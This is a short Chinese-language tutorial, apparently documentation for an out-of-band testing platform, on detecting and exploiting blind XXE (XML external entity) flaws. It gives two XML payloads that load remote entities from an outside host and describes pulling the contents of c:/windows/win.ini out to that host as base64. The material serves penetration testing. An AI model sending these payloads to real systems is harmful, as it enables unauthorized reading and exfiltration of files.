XXE漏洞利用

并不是所有XXE漏洞(XML实体注入漏洞)都能回显数据,在自动化测试中,我们可以利用CoNote来探测目标是否存在XXE漏洞。

使用加载远程ENTITY的方法来发送HTTP请求:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.example.2m1.pw/file.xml" >
%remote; ]>
<root />

平台收到HTTP请求即说明目标存在XXE漏洞:

那么,如果该XXE漏洞没有回显,我们也可以借助CoNote平台来完成Blind XXE的利用。

首先,在“笔记”模块增加一个远程ENTITY文件:

如上图,我们的目标是读取c:/windows/win.ini文件,读取结果将通过http://xxe.example.2m1.pw/这个HTTP请求发送给我。

点击提交,保存这个结果。这个文件将被保存为http://example.2m1.pw/xxe,访问这个网址,即可看到刚才创建的文件已经可以显示:

然后,我们再在存在XXE的位置,提交下列XML:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://example.2m1.pw/xxe" >
%remote; ]>
<root />

其中,http://example.2m1.pw/xxe即为刚才我们添加的ENTITY。

然后,访问CoNote即可查看已经获取的XXE结果,解码其中的base64字符串即可获取win.ini的文件内容:

results matching ""

    No results matching ""